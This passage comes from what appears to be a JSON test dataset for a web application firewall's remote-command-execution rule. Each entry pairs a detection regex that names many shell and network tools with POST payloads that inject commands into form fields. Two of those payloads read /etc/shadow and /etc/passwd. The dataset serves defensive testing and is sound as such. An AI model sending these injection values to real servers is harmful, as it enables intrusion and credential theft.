op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]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&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Like rule True Negative Rule Integrity 9 but the html entity is concatenation with RCE at the end" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Something+%26%238222%3BThe+Title%26%238221%3B.+After+something+<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\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(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\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\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Like rule True Negative Rule Integrity 9 but the html entity is concatenation with RCE at the beginning" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=%0Acat%20/etc/passwd;+Something+%26%238222%3BThe+Title%26%238221%3B.+After+something" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||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\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\